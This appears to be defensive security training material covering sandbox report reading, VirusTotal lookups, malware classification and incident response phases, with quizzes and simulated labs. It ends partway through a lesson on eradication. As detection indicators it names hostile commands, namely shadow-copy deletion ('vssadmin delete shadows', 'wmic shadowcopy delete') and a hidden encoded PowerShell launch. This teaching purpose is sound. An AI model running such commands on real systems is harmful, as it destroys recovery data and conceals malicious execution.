A sandbox executes a sample in an instrumented, disposable virtual machine and records its behavior. Interactive services such as Any.Run let you click through prompts; automated platforms include Cuckoo (open source), Joe Sandbox, Hybrid Analysis and cloud EDR sandboxes. Typical runtime is a few minutes. Reports contain a score or verdict, a process tree, file and registry activity, network traffic, dropped files, screenshots, and mapped ATT&CK techniques. Remember that a sandbox shows what happened in that environment, which may differ from your real hosts.

Process tree and file activity

Start with the process tree. A Word document spawning cmd.exe then powershell.exe is highly suspicious. Note command lines, such as powershell.exe -nop -w hidden -enc followed by base64, and parent-child anomalies like svchost.exe started by something other than services.exe. Then read file activity: dropped files with paths such as %APPDATA%\Roaming\svc32.exe or C:\Users\Public, copies of the sample, and deleted originals. Collect the hashes of dropped files and treat each as a new sample to investigate.

Registry and persistence

Registry activity reveals persistence and configuration. Look for new values under HKCU\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, services created under HKLM\SYSTEM\CurrentControlSet\Services, scheduled tasks, and changes that disable security such as Windows Defender exclusion keys. Also note mutex creation and attempts to detect virtual machines or sandboxes, for example checking registry keys of virtualization products, sleeping for long periods or inspecting mouse movement. Evasion explains why a quiet report may not mean a harmless file.

Network and extracting indicators

Network sections list DNS queries, HTTP requests, TLS connections and raw connections. Capture domains, IP addresses, URI paths, user agents and JA3 fingerprints. Beaconing at regular intervals to a rare domain, such as POSTs to /gate.php every 60 seconds, suggests command and control. Compare against the DNS and proxy logs of your own environment to find other infected hosts. Defang the output and feed the final indicators to blocklists and detection rules, noting the sandbox name, date and analysis ID for traceability.

Write the final analysis in a consistent format: summary verdict, infection chain, persistence, network indicators, dropped files, ATT&CK techniques and recommended actions. Include screenshots and the report link so reviewers can reproduce the finding. If results conflict between sandboxes, trust the one that reached the payload stage and note that the others were evaded or timed out. Where the sample needed a specific argument or file to run, document it for repeatable detonation.

LOG EXCERPT

```
[proc] winword.exe (2104) -> cmd.exe (3380) -> powershell.exe -nop -w hidden -enc JAB...
[file] dropped C:\Users\Public\svc32.exe sha256=7c4d...19ab
[reg ] set HKCU\...\Run\Updater = C:\Users\Public\svc32.exe
[dns ] update-check.example.com -> 203.0.113.9
[net ] POST http://203.0.113.9/gate.php every 60s
```

WORKED EXAMPLE

A report shows winword.exe starting PowerShell with an encoded command, a dropped svc32.exe in C:\Users\Public, a Run key value named Updater, and a POST to 203.0.113.9/gate.php every 60 seconds. The analyst concludes a macro dropper installing a beaconing implant with registry persistence, extracts the hash of svc32.exe, the IP and the path, and searches proxy logs for other hosts that contacted the same address.

KEY TERMS

Process tree: The parent-child hierarchy of processes started during analysis.

Dropped file: A file the sample writes to disk during execution.

Beaconing: Regular, periodic callbacks from an infected host to a controller.

Sandbox evasion: Techniques that make malware behave benignly when it detects analysis.

JA3: A fingerprint of a TLS client hello used to spot client software.

REMEMBER

- Read process tree, files, registry and network in that order.
- Extract defanged indicators and dropped hashes.
- Sandbox results reflect one environment, so beware evasion.

QUICK CHECK

1. Which parent-child pair is most suspicious?

- A) explorer.exe -> chrome.exe
- B) winword.exe -> powershell.exe
- C) services.exe -> svchost.exe
- D) wininit.exe -> services.exe

2. A new value in a Run key indicates:

- A) Persistence
- B) Time sync
- C) Windows update
- D) Printing

3. A quiet sandbox report may be misleading because:

- A) Sandboxes are always wrong
- B) Malware may detect and evade analysis
- C) Reports hide files
- D) Logs are encrypted

4. Dropped files should be:

- A) Ignored
- B) Hashed and analyzed as new samples
- C) Executed on the host
- D) Renamed only

Answers: 1-B 2-A 3-B 4-B

1. Office spawning a shell is a classic macro behavior.
2. Run keys execute programs at logon.
3. Evasion can produce benign-looking runs.
4. Each dropped file is a new lead.

VirusTotal and reputation

Reputation services answer 'has anyone seen this before' in seconds, but careless uploads can leak your data and tip off attackers.

Reading the detection ratio

VirusTotal aggregates results from dozens of antivirus engines and other services. The headline shows a ratio such as 54/72, meaning 54 engines flagged the file. A high ratio with consistent family names is strong evidence. A low ratio like 2/72 is ambiguous: it may be a false positive from generic heuristics, or a new custom malware not yet detected. Read the engine names and labels, the file's first submission date, its names, size and type, and the community comments. Reputation is one input; never block or clear on the ratio alone.

Behavior and relations

The Behavior tab shows sandbox results from several vendors, including processes, files, registry and network activity, with ATT&CK tags. The Details tab includes hashes, signature information, PE header data and imphash. The Relations tab pivots to contacted domains and IPs, dropped files, execution parents and related URLs, which helps you find infrastructure and sibling samples. Pivoting from a hash to a domain to other files that contacted it is a core hunting technique, but verify each link, since shared hosting can connect unrelated items.

Privacy and operational security

Uploading a file shares it with the service and, under its terms, with vendors and paying customers who can download it. If the file contains internal data, such as a custom document sent to your finance team, you may leak customer or company information. Attackers also monitor sample services: a first-time upload of a bespoke implant can alert a targeted adversary that it was found. Prefer a hash search first, which reveals nothing about the file's contents. Upload only after policy approval and when no sensitive content exists.

Other reputation sources

Combine sources: URLhaus and MalwareBazaar from abuse.ch, AlienVault OTX, Hybrid Analysis, urlscan.io for web pages, AbuselPDB for IP reports, and your own threat intelligence platform. Check domain age with WHOIS, passive DNS for history and certificates. Good indicators decay: an IP address may belong to a legitimate host days later, so record when a verdict was made. When tools disagree, document the sources and reasoning, and make a decision based on the weight of corroborated evidence.

Keep an internal record of verdicts so repeated alerts for the same hash are resolved quickly. Document the false positives that you confirm, such as an admin tool flagged by heuristics, and add them to an allowlist with an owner and review date. Likewise maintain a blocklist with expiry. This turns each triage into reusable knowledge and keeps analysts from rechecking the same file every week.

LOOKUP SUMMARY

```
SHA-256: 7c4d...19ab
Detections: 54/72 (family labels: Loader.Gen, Trojan.Dropper)
First submitted: 2026-09-28
Names: invoice.pdf.exe, svc32.exe
Relations: contacts update-check[.]example[.]com (203.0.113.9)
```

WORKED EXAMPLE

A hash from a mail alert is searched, not uploaded. It shows 54/72 detections, first seen two days ago, with relations to update-check[.]example[.]com. The analyst blocks the domain, searches DNS logs for other clients that resolved it, and notes the verdict with a timestamp. A second, custom-looking document found on the CFO's laptop shows 0/72 for its hash, so the team does not upload it and detonates it locally.

KEY TERMS

Detection ratio: The count of engines flagging a file out of the total that scanned it.

Relations: VirusTotal view linking a sample to domains, IPs and related files.

Passive DNS: A historical record of which names resolved to which addresses.

False positive: A benign file incorrectly flagged as malicious.

Hash search: Looking up a hash without uploading the file.

REMEMBER

- Use the ratio as one input among many.
- Pivot using behavior and relations tabs.
- Search hashes first; upload only with approval.

QUICK CHECK

1. What is the safest first reputation step for a sensitive file?

- A) Upload the file
- B) Search its hash
- C) Email it
- D) Run it

2. A 2/72 ratio means:

- A) Definitely clean
- B) Ambiguous, could be new or false positive
- C) Definitely malware
- D) Engines are broken

3. The Relations tab helps you:

- A) Pivot to related domains and files
- B) Delete the sample
- C) Change the hash
- D) Edit the PE header

4. Uploading a sample can:

- A) Delete it
- B) Expose its content to vendors and others
- C) Make it safer
- D) Only affect local logs

Answers: 1-B 2-B 3-A 4-B

1. A hash search reveals nothing about content.

2. Low counts need corroboration.

3. It supports infrastructure pivoting.

4. Uploaded files may be shared and downloaded.

Common malware families

Recognizing the class of malware tells you what the attacker wants and what to do next: contain quickly, reset credentials or restore data.

Loaders and droppers

Loaders and droppers exist to deliver other malware. A dropper carries its payload inside; a downloader fetches it from a server. They are typically small, packed and heavily obfuscated, and they gather basic host information before reporting in. Historically, large botnet loaders such as Emotet were used to sell access to ransomware operators. Seeing a loader means the real harm is probably still coming, so containment should be fast, and you should ask what second-stage payloads arrived. Look for Office macros, script files (.js, .vbs), ISO and LNK delivery chains and PowerShell download cradles.

Infostealers and RATs

Infostealers harvest browser passwords and cookies, cryptocurrency wallets, saved sessions and files, then upload them in one burst; families such as RedLine, Raccoon and Lumma are examples. The response must include resetting credentials and revoking sessions, not only cleaning the host. Remote access trojans (RATs), such as AsyncRAT, njRAT and Remcos, give an operator interactive control: screen capture, keylogging, file transfer, webcam, shell. They beacon regularly to a controller and persist through Run keys or scheduled tasks. A RAT implies a human may be operating the host.

Ransomware

Ransomware encrypts files, usually with a symmetric key protected by an asymmetric key, appends an extension, drops ransom notes and often deletes shadow copies with vssadmin delete shadows or wmic shadowcopy delete. Modern operations first steal data for double extortion. Indicators include many files modified rapidly, new extensions, high-volume SMB writes, services stopped (backup, database) and note files such as README.txt in each folder. Early detection depends on spotting precursors: credential dumping, lateral movement, backup tampering. After encryption begins, speed of isolation is critical.

Webshells and others

A webshell is a small script, such as a PHP, ASPX or JSP file, planted on a web server to give remote command execution through HTTP requests. Signs include recently created files in web directories, requests to an unusual script with a command-like parameter, and the web server process spawning shells, for example w3wp.exe or apache launching cmd.exe. Other classes include wipers, cryptominers, rootkits, bots for DDoS and backdoors. Naming conventions vary by vendor, so classify by behavior and capabilities first and keep family names as secondary labels.

Match the response to the class. A loader calls for hunting the follow-on payloads; a RAT demands scoping of what an operator did by hand; a stealer needs credential and session resets across every account used on the machine; a webshell needs a review of the web application, its logs and the vulnerability that allowed the upload. Writing a short playbook per class saves time during incidents and ensures that the cleanup matches the real risk.

BEHAVIOR TO CLASS

```
Many files encrypted + README.txt + vssadmin delete shadows -> ransomware
Browser credential store read + zip upload -> infostealer
Periodic POST to /gate.php + remote shell -> RAT
w3wp.exe spawns cmd.exe -> possible webshell
Small packed file downloads second stage -> loader
```

WORKED EXAMPLE

An alert shows a file server where thousands of documents gained the extension .locked in two minutes, with a README.txt in every folder and a vssadmin delete shadows command on the host. The analyst classifies this as ransomware, isolates the host and the SMB shares it exposes, asks the IR team to look for the earlier loader and credential dumping, and verifies the status of offline backups before any recovery discussion.

KEY TERMS

Loader: Malware whose purpose is to download or run other malware.

Infostealer: Malware that harvests credentials, cookies and files for exfiltration.

RAT: A remote access trojan giving an operator interactive control.

Ransomware: Malware that encrypts data and demands payment.

Webshell: A server-side script that gives remote command execution over HTTP.

REMEMBER

- Classify by behavior first, family name second.
- Loaders precede bigger harm; stealers demand credential resets.
- Ransomware needs fast isolation and backup checks.

QUICK CHECK

1. Which behavior best matches ransomware?

- A) Many files encrypted and notes dropped
- B) One DNS query
- C) A single login
- D) A printer job

2. After an infostealer infection you must also:

- A) Reset credentials and revoke sessions
- B) Ignore the host
- C) Reinstall printers
- D) Disable DNS

3. w3wp.exe spawning cmd.exe suggests:

- A) A normal update
- B) A possible webshell
- C) A printer problem
- D) A DNS issue

4. A loader's main purpose is to:

- A) Encrypt files
- B) Deliver further malware
- C) Mine coins
- D) Block ports

Answers: 1-A 2-A 3-B 4-B

1. Mass encryption with notes is the signature.
2. Stolen secrets remain usable until revoked.
3. Web server processes seldom start shells.
4. Loaders deliver other payloads.

Hash and identify

SCENARIO

A fictional file `invoice_2026.pdf.exe` arrived at `user@example.com` and was forwarded to you. You are in an isolated analysis VM and the file is already copied as `sample.bin`. Determine its identity and real type, then check whether it is known without uploading it. The user has not opened the file, and your lead wants a short written verdict within fifteen minutes. Record every command you run and every result so the ticket is reproducible by a colleague.

OBJECTIVE

Calculate the hash, detect the double extension and look up the hash.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: `sha256sum sample.bin`

Simulator shows:
9b1c0d44a7...e47a sample.bin

- 2 **Do:** Run: `file invoice_2026.pdf.exe`

Simulator shows:
`invoice_2026.pdf.exe`: PE32 executable (GUI) Intel 80386, for MS Windows

- 3 **Do:** Run: `xxd -l 4 sample.bin`

Simulator shows:
00000000: 4d5a 9000 MZ..

- 4 **Do:** Note the file name

Simulator shows:
Double extension detected: .pdf then .exe. The real type is PE.

- 5 **Do:** Run: `hashlookup 9b1c0d44a7...e47a`

Simulator shows:
Result: known. Labels: Loader.Gen. First seen 2 days ago. 54/72.

- 6 **Do:** Record defanged findings

Simulator shows:
Saved: SHA-256 9b1c...e47a; type PE32; verdict: known loader.

ANSWER

The file is a Windows PE executable disguised with a double extension. Its SHA-256 matches a known loader detected by 54 of 72 engines, so the verdict is malicious. Record the hash, the real type and the sender, block the hash and report the mail.

Hint shown in the app: Check magic bytes and the real extension before trusting the name.

Strings triage

SCENARIO

A packed fictional executable, dropper.bin, was recovered from a user's Downloads folder. You are in an isolated VM and must decide quickly if it is malicious by extracting readable indicators and writing a short verdict. Your lead wants a one-paragraph verdict plus a list of indicators to block. Nothing may be executed in this lab; you rely on static output only, so be explicit about what is a hypothesis.

OBJECTIVE

Extract URLs, API names and mutexes and write a verdict.

STEPS IN THE SIMULATOR

- 1 **Do:** Run: `strings -n 8 dropper.bin | head`

Simulator shows:

!This program cannot be run in DOS mode ... UPX0 UPX1

- 2 **Do:** Run: `strings -n 8 dropper.bin | grep -i http`

Simulator shows:

`http://update-check[.]example[.]com/gate.php`

- 3 **Do:** Run: `strings -n 6 dropper.bin | grep -iE 'Virtual|Remote|URLDown'`

Simulator shows:

VirtualAlloc
WriteProcessMemory
URLDownloadToFileA

- 4 **Do:** Run: `strings -n 6 dropper.bin | grep -i mtx`

Simulator shows:

Global\Mtx_8841af

- 5 **Do:** Run: `strings dropper.bin | grep -i 'currentversion'`

Simulator shows:

Software\Microsoft\Windows\CurrentVersion\Run

- 6 **Do:** Run: `diec dropper.bin`

Simulator shows:

Packer: UPX; Entropy .text: 7.82

- 7 **Do:** Write verdict

Simulator shows:

Verdict saved.

ANSWER

Verdict: a UPX-packed downloader that fetches a payload from `update-check[.]example[.]com/gate.php`, uses `VirtualAlloc`, `WriteProcessMemory` and `URLDownloadToFileA` for injection or download, sets a Run key and uses the mutex `Global\Mtx_8841af`. Confidence is moderate-high; confirm in a sandbox.

Hint shown in the app: Group each string by purpose: network, capability, persistence, uniqueness.

Read a sandbox report

SCENARIO

A fictional sandbox report for a Word document from sender@example.com is open in the log viewer. Extract dropped files, persistence keys and command and control domains so the SOC can block them and search for other infected hosts. The report is long, so work through the panels methodically. The SOC will use your list to block infrastructure and to search proxy and DNS logs for other clients that contacted the same destinations.

OBJECTIVE

Extract dropped files, persistence keys and C2 domains from the report.

STEPS IN THE SIMULATOR

1 Do: Open the Processes panel

Simulator shows:

winword.exe -> cmd.exe -> powershell.exe -nop -w hidden -enc JAB...

2 Do: Open the Files panel

Simulator shows:

Created C:\Users\Public\svc32.exe sha256=7c4d...19ab; Created %TEMP%\a.ps1

3 Do: Open the Registry panel

Simulator shows:

Set HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Updater = C:\Users\Public\svc32.exe

4 Do: Open the DNS panel

Simulator shows:

update-check.example.com -> 203.0.113.9

5 Do: Open the HTTP panel

Simulator shows:

POST http://203.0.113.9/gate.php (every 60s, 4 requests)

6 Do: Open the Mutex panel

Simulator shows:

Created Global\Mtx_8841af

7 Do: Click Export IOCs

Simulator shows:

IOC list: 1 hash, 1 domain, 1 IP, 1 Run key, 1 mutex (defanged).

ANSWER

Dropped file C:\Users\Public\svc32.exe (SHA-256 7c4d...19ab), persistence key HKCU Run value Updater, and C2 at update-check[.]example[.]com resolving to 203[.]0[.]113[.]9 with beaconing to /gate.php. Block the domain and IP, hunt for the hash and the Run key, and review the macro document source.

Hint shown in the app: Read the report in order: processes, files, registry, network.

Classify the family

SCENARIO

Four fictional hosts in your network show different behaviors. As the on-duty analyst you must label each with the correct malware class so that the responder can choose the right playbook for each machine. Each host has been isolated for now, so there is time to pick carefully. Use only the behavior described, not any guess about the tool or the attacker, and justify each label to the responder.

OBJECTIVE

Match each behavior set to a malware class.

STEPS IN THE SIMULATOR

- 1 **Do:** Host A: thousands of files renamed .locked, notes in each folder

Simulator shows:

Selected: ransomware. Correct.

- 2 **Do:** Host B: browser password store read then a zip uploaded once

Simulator shows:

Selected: infostealer. Correct.

- 3 **Do:** Host C: POST every 60 seconds to 203.0.113.9 and an interactive shell

Simulator shows:

Selected: RAT. Correct.

- 4 **Do:** Host D: web server process spawns cmd.exe after a request to /upload/x.aspx

Simulator shows:

Selected: webshell. Correct.

- 5 **Do:** Host E: small packed file downloads a second executable

Simulator shows:

Selected: loader. Correct.

- 6 **Do:** Submit classification

Simulator shows:

All classes correct. Suggested playbooks assigned.

ANSWER

Host A is ransomware, B an infostealer, C a RAT, D a webshell and E a loader. Each maps to a playbook: isolate and check backups, reset credentials, scope operator actions, review the web app and upload path, and hunt for follow-on payloads.

Hint shown in the app: Ask what the attacker is gaining: data, control, money or delivery.

Malware Triage: 10 questions, 80% to pass

1. Where should unknown samples be analyzed?
 - A) Production laptop
 - B) Isolated VM
 - C) Mail server
 - D) Domain controller
2. What password convention is used for sample archives?
 - A) admin
 - B) infected
 - C) password
 - D) root
3. Which bytes identify a PE file?
 - A) PK
 - B) MZ
 - C) %PDF
 - D) GIF8
4. Which hash is best for similarity comparison?
 - A) SHA-256
 - B) ssdeep
 - C) CRC32
 - D) SHA-1
5. Entropy above about 7 in a section suggests:
 - A) Plain text
 - B) Packing or encryption
 - C) A log file
 - D) An icon
6. Word spawning PowerShell in a sandbox report is:
 - A) Normal
 - B) Highly suspicious
 - C) A printer action
 - D) A DNS update
7. A Run key value indicates:
 - A) Persistence
 - B) Time sync
 - C) Backup
 - D) Logging
8. The safest first reputation step for a sensitive file:
 - A) Upload it
 - B) Search its hash
 - C) Mail it
 - D) Run it
9. An infostealer incident requires:
 - A) Credential and session resets
 - B) Only a reboot
 - C) Disabling DNS
 - D) Printer repair
10. w3wp.exe launching cmd.exe suggests:
 - A) A webshell
 - B) A DNS issue
 - C) A scheduled backup
 - D) A GPU driver

Answers: 1-B 2-B 3-B 4-B 5-B 6-B 7-A 8-B 9-A 10-A

1. Isolation prevents spread.
2. 'infected' is the common convention.
3. PE files start with MZ.
4. ssdeep is a fuzzy hash.
5. High entropy indicates compressed or encrypted data.
6. Office should not launch shells.
7. Run keys start programs at logon.
8. A hash search leaks nothing.
9. Stolen secrets must be revoked.
10. Web server processes rarely spawn shells.

Incident Response

Intermediate | 7 lessons | 5 simulated labs | checkpoint | about 5h 35m

Incident response is the disciplined process of handling a security incident from first alert to final lessons. This module compares NIST SP 800-61 and SANS PICERL, covers preparation and severity, containment trade-offs, eradication and recovery, evidence handling by order of volatility, communication and escalation duties, and blameless post-incident reviews with playbooks. You will practice choosing actions that stop damage, preserve evidence and keep the business running. Each lesson ends with practice questions and hands-on lab drills.

BY THE END YOU CAN

- + Run the IR lifecycle from preparation to lessons learned
- + Choose containment, eradication and recovery actions
- + Preserve evidence and communicate during an incident

IN THIS MODULE

Lesson 1 IR frameworks and lifecycle

Lesson 2 Preparation and detection

Lesson 3 Containment strategies

Lesson 4 Eradication and recovery

Lesson 5 Evidence handling

Lesson 6 Communication and escalation

Lesson 7 Post-incident review and playbooks

Lab 1 Classify the incident (Scenario)

Lab 2 Contain the outbreak (Scenario)

Lab 3 Eradicate persistence (Terminal)

Lab 4 Evidence collection order (Diagram builder)

Lab 5 Write the lessons learned (Chat sim)

Checkpoint 10 questions, 80% to pass

IR frameworks and lifecycle

A shared lifecycle keeps a stressful incident orderly. Everyone knows the current phase, the next decision and who owns it.

NIST SP 800-61

NIST Special Publication 800-61, the Computer Security Incident Handling Guide, describes the lifecycle most public-sector and many private teams use. In Revision 2 it has four phases: Preparation; Detection and Analysis; Containment, Eradication and Recovery; and Post-Incident Activity. The phases form a cycle, because lessons from one incident feed preparation for the next. Revision 3, published in 2025, aligns incident response with the NIST Cybersecurity Framework 2.0 functions rather than presenting the older four-phase model, but the underlying activities are the same and the older phases remain the common teaching vocabulary.

SANS PICERL

The SANS Institute describes six steps remembered as PICERL: Preparation, Identification, Containment, Eradication, Recovery and Lessons Learned. Compared with NIST, SANS splits containment, eradication and recovery into three separate phases and renames detection and analysis as identification. Neither model is more correct. Choose one, document it in the plan, and map the other onto it so that vendors, auditors and partners using different terms can still coordinate. What matters is that the team does not skip the first and last phases, which are the ones most often neglected.

Phases are not strictly linear

Real incidents loop. While containing a compromised server you may discover a second compromised host, which sends you back to identification. Eradication may reveal that the attacker had a second persistence method, returning you to containment. Analysis continues throughout, because scope changes with every new indicator. Build the plan to allow iteration: define criteria for moving to the next phase, such as 'all known compromised accounts disabled and no new beaconing for 24 hours' before declaring containment complete.

Roles on the team

A Computer Security Incident Response Team usually includes an incident commander who owns decisions and coordination, analysts who triage and investigate, forensic specialists, IT and system owners who execute changes, a communications lead for internal and external messages, legal counsel, human resources for insider cases, and an executive sponsor who approves business-impacting actions. A scribe records the timeline. Write down names, backups and contact methods before an incident, and practice the roles in tabletop exercises so the first time is not during a real breach.

Define what counts as an incident versus an event. An event is any observable occurrence, such as a failed login; an incident is an event, or set of events, that violates policy or threatens confidentiality, integrity or availability. Triage decides which events deserve a case. Keeping this distinction prevents analysts from escalating routine noise and ensures real incidents get the named roles and communication paths described in the plan.

IR PHASE MAP

NIST 800-61	r2	SANS PICERL
1	Preparation	Preparation
2	Detection & Analysis	Identification
3	Containment,	Containment
	Eradication,	Recovery
		Eradication
4	Post-Incident Activity	Lessons Learned

WORKED EXAMPLE

At 02:10 an alert reports mass file renames on a file server. The on-call analyst opens a case and notifies the incident commander. In the SANS language this is identification; in NIST it is detection and analysis. The commander assigns a scribe, a forensic lead and an IT contact, then sets the next decision point for 03:00: whether to isolate the server. Roles and phase are clear within minutes.

KEY TERMS

NIST SP 800-61: The US national guide for computer security incident handling.

PICERL: SANS six-step model: Preparation to Lessons Learned.

Incident commander: The person who owns decisions and coordination during an incident.

CSIRT: A team responsible for receiving, analyzing and responding to incidents.

Tabletop exercise: A discussion-based drill that rehearses incident roles and decisions.

REMEMBER

- NIST has four phases; SANS PICERL has six.
- Phases iterate as scope changes.
- Define roles and practice them before an incident.

QUICK CHECK

1. How many phases does the NIST 800-61 Rev 2 lifecycle have?
 - A) 3
 - B) 4
 - C) 6
 - D) 8
2. Which SANS step corresponds to NIST Detection and Analysis?
 - A) Preparation
 - B) Identification
 - C) Recovery
 - D) Eradication
3. Who owns decisions and coordination during an incident?
 - A) Scribe
 - B) Incident commander
 - C) Intern
 - D) Vendor
4. Why do incident phases loop?
 - A) Scope changes as new evidence appears
 - B) Tools require it
 - C) Auditors demand it
 - D) Logs expire

Answers: 1-B 2-B 3-B 4-A

1. Preparation; Detection and Analysis; Containment, Eradication and Recovery; Post-Incident Activity.
2. SANS calls it Identification.
3. The incident commander leads.
4. New findings send teams back to earlier phases.

Preparation and detection

Most incident outcomes are decided before the incident starts. Plans, tools and clear severity rules turn confusion into action.

The IR plan and retainers

An incident response plan states purpose, scope, roles, phases, escalation paths, communication templates and authority to act, such as the right to isolate a production system. It is approved by management, stored where it is reachable when systems are down (printed or offline copy), and reviewed at least annually. Many organizations also sign an IR retainer with an external firm that guarantees response time and prior legal terms, and engage outside counsel in advance. Contacts for ISPs, cloud providers, law enforcement and cyber insurers belong in the plan.

Tooling and visibility

Preparation includes tools: EDR agents, centralized logging in a SIEM, packet capture capability, a forensic workstation, write blockers, clean media, a jump kit with cables and notebooks, a secure case management system and an out-of-band chat or phone bridge. Prepare golden images and tested backups. Enable valuable logs in advance: Windows process creation (event ID 4688 with command line), PowerShell script block logging (4104), authentication logs, DNS, proxy and firewall logs. Time must be synchronized by NTP so that events across systems line up.

Asset inventory and baselines

You cannot protect or contain what you do not know exists. Maintain an inventory of hosts, owners, criticality, data classification and network location, and record baselines of normal behavior. During an incident this answers urgent questions: who owns server FS-02 at 192.0.2.60, does it hold regulated data, can it be taken offline, and what depends on it. Also keep network diagrams, a list of privileged accounts and a list of crown-jewel systems whose compromise would be severe.

Classification and severity

Detection yields many alerts, so define categories and severity criteria. Categories might include malware, unauthorized access, denial of service, data loss, insider misuse and web compromise. Severity combines impact on business and data, scope (number of systems or users), and the incident's trajectory. For example: Sev 1 is confirmed compromise of critical systems or regulated data exfiltration; Sev 2 is confirmed compromise of a non-critical host with lateral movement risk; Sev 3 is contained malware on a single workstation; Sev 4 is a policy violation. Tie each level to response times, notification duties and who is paged.

Test the plan rather than trusting it. Run tabletop exercises with realistic scenarios such as ransomware on a Friday evening or a leaked cloud key, and technical drills such as restoring a server from backup within a target time. Record gaps, for example a missing phone number or an expired retainer contract, and fix them. Plans that have never been exercised tend to fail on contact with a real incident, usually in the first hour when people are tired and uncertain.

SEVERITY MATRIX

Sev	Criteria	Response	Notify
1	Critical system / regulated data loss	15 min	CISO, legal, exec
2	Confirmed compromise, spread risk	1 hour	IR lead, IT head
3	Single endpoint malware, contained	4 hours	SOC lead
4	Policy violation, no compromise	Next day	Ticket owner

WORKED EXAMPLE

A SOC receives an alert about suspicious PowerShell on a finance laptop. Using the asset inventory, the analyst sees the user handles payment approvals, which raises criticality. Process creation logs show an encoded command and an outbound connection. Meeting the matrix, the case starts as Sev 3 but is raised to Sev 2 when a second host with the same indicators appears, which automatically pages the IR lead.

KEY TERMS

IR plan: A documented set of roles, procedures and authority for handling incidents.

Retainer: A pre-arranged contract with an external responder.

Jump kit: A prepared set of tools and media for rapid response.

Severity: A rating of an incident's impact, scope and urgency.

Baseline: A record of normal behavior used to spot deviations.

REMEMBER

- Plan, tools, inventory and logging come first.
- Define categories and severity tied to response times.
- Keep the plan and contacts reachable offline.

QUICK CHECK

1. An IR retainer provides:

- A) Free hardware
- B) Pre-arranged external responders
- C) Log storage
- D) A firewall

2. Why synchronize time with NTP?

- A) To align events across systems
- B) To speed disks
- C) To hide logs
- D) To reduce alerts

3. Severity is driven by:

- A) Impact, scope and trajectory
- B) Analyst mood
- C) Alert name
- D) Time of day only

4. Where should the IR plan be stored?

- A) Only on the file server that may be down
- B) Where it is reachable during an outage
- C) In personal email
- D) Nowhere

Answers: 1-B 2-A 3-A 4-B

1. It guarantees expert help and terms before an incident.
2. Correlation requires consistent timestamps.
3. These factors reflect business risk.
4. It must be available when systems fail.

Containment strategies

Containment stops the damage from growing. Good containment balances speed against business impact and against tipping off the attacker.

Short-term versus long-term

Short-term containment acts immediately to stop spread: isolating a host from the network with the EDR network isolation feature, disabling a compromised account, blocking an IP address or domain at the firewall and DNS, or pulling a network cable. Long-term containment holds the situation stable while you prepare a clean recovery: applying temporary patches, moving a service to a clean system, adding segmentation rules and tightening access. Short-term actions are quick but crude; long-term actions keep business running while the investigation continues.

Methods and their effects

Network isolation preserves the machine state and memory, which helps forensics, whereas powering off destroys volatile evidence and may trigger destructive logic, so prefer isolation to shutdown unless ransomware is actively encrypting and you cannot isolate. Disabling accounts stops use but may lock out business processes; service accounts need special care. Resetting credentials must follow scope: in an Active Directory compromise the krbtgt account may need a reset twice. Block indicators at multiple layers, and watch for the attacker switching to alternate infrastructure.

Business impact and decisions

Every containment step has a cost. Isolating a domain controller or an ERP server can stop the business, so decisions involve system owners and management. Use the severity and criticality data from preparation. A common approach is to contain in order of risk: stop spread first, protect crown jewels second, restore less critical services third. Document who approved each action and when. If you cannot decide quickly, consider the least disruptive control that still stops the growth, such as blocking a port between segments instead of unplugging a site.

Avoiding common mistakes

Do not alert the attacker prematurely when scoping is incomplete; sometimes coordinated, simultaneous containment across all known compromised assets is better than isolating hosts one by one. Do not reboot or wipe machines before evidence is captured. Do not use the compromised network to discuss the response; use an out-of-band channel. Verify that containment works by monitoring for new beaconing, new logons by the disabled account and attempts to contact the blocked domains. Keep a running list of what was contained, by whom and when.

Consider adding decision criteria that remove debate under pressure. For example, pre-authorize the on-call analyst to isolate any endpoint showing confirmed ransomware behavior, and to disable any account with confirmed attacker activity, without waiting for management approval. Pre-approval is paired with an obligation to notify immediately afterward. This gives speed where minutes matter while keeping accountability, and it should be written in the plan, signed by management and tested during exercises.

CONTAINMENT LOG

```
02:24 EDR isolate FS-02 (192.0.2.60) by: analyst1
02:31 Disable account svc-backup@example.com by: AD admin
02:35 Block 203.0.113.9 at firewall, sinkhole domain
02:50 SMB 445 denied between VLAN20 and VLAN30
03:10 Verify: no new beacons for 20 min
```

WORKED EXAMPLE

Ransomware encrypts shares on FS-02 while backup server BK-01 and the ERP system are still healthy. The commander isolates FS-02 with EDR, disables the compromised service account, and blocks SMB between the user VLAN and the server VLAN. ERP stays online because the finance close is tonight. Verification shows no new encryption events, and the team schedules deeper scoping of the remaining hosts.

KEY TERMS

Isolation: Cutting a host off from the network while keeping it powered on.

Short-term containment: Immediate actions to stop spread.

Long-term containment: Stable temporary measures while preparing a clean recovery.

krbtgt: The Active Directory account whose key signs Kerberos tickets.

Out-of-band channel: A communication path independent of the compromised network.

REMEMBER

- Contain in order of risk: spread, crown jewels, then the rest.
- Prefer isolation over shutdown to keep evidence.
- Verify containment and log every action.

QUICK CHECK

1. Why prefer isolation to powering off a host?

- A) Isolation preserves memory and state
- B) It is slower
- C) It deletes logs
- D) It repairs malware

2. Long-term containment aims to:

- A) Delete evidence
- B) Hold stability while preparing clean recovery
- C) Close the case
- D) Notify the press

3. Why use an out-of-band channel?

- A) The attacker may read the compromised network
- B) It is cheaper
- C) It is required by NIST
- D) It is encrypted by default

4. Containment decisions should involve:

- A) Only the analyst
- B) System owners and management for critical systems
- C) No one
- D) Only vendors

Answers: 1-A 2-B 3-A 4-B

1. Powering off destroys volatile evidence.
2. It buys time for safe recovery.
3. The attacker may be monitoring internal communications.
4. Business impact needs owner approval.

Eradication and recovery

Removing the visible malware is not enough. Eradication finds every foothold and the root cause; recovery restores service safely.

Finding all persistence

After containment, remove everything the attacker left behind. On Windows, check scheduled tasks (schtasks /query /fo LIST /v), services (sc query), Run and RunOnce registry keys, startup folders, WMI event subscriptions, new local or domain accounts, added SSH keys, web shells, modified group memberships, DLL search-order hijacks and rogue remote access tools. Compare with the baseline and with golden images. Use EDR and forensic findings to build the list of artifacts; every new indicator discovered should trigger a search across the whole environment, not only the first host.

Root cause and patching

Eradication also means closing the door the attacker used. Identify the initial access vector, such as an unpatched VPN appliance (T1190), a phished credential (T1566), an exposed RDP service or a weak password, and fix it: patch, disable the service, enforce MFA, restrict exposure. Without this step the attacker, or another one, simply returns. Reset passwords and keys for any account that may have been exposed, including service accounts, API keys and certificates, in a coordinated way so the attacker cannot use a not-yet-reset secret.

Rebuild and restore

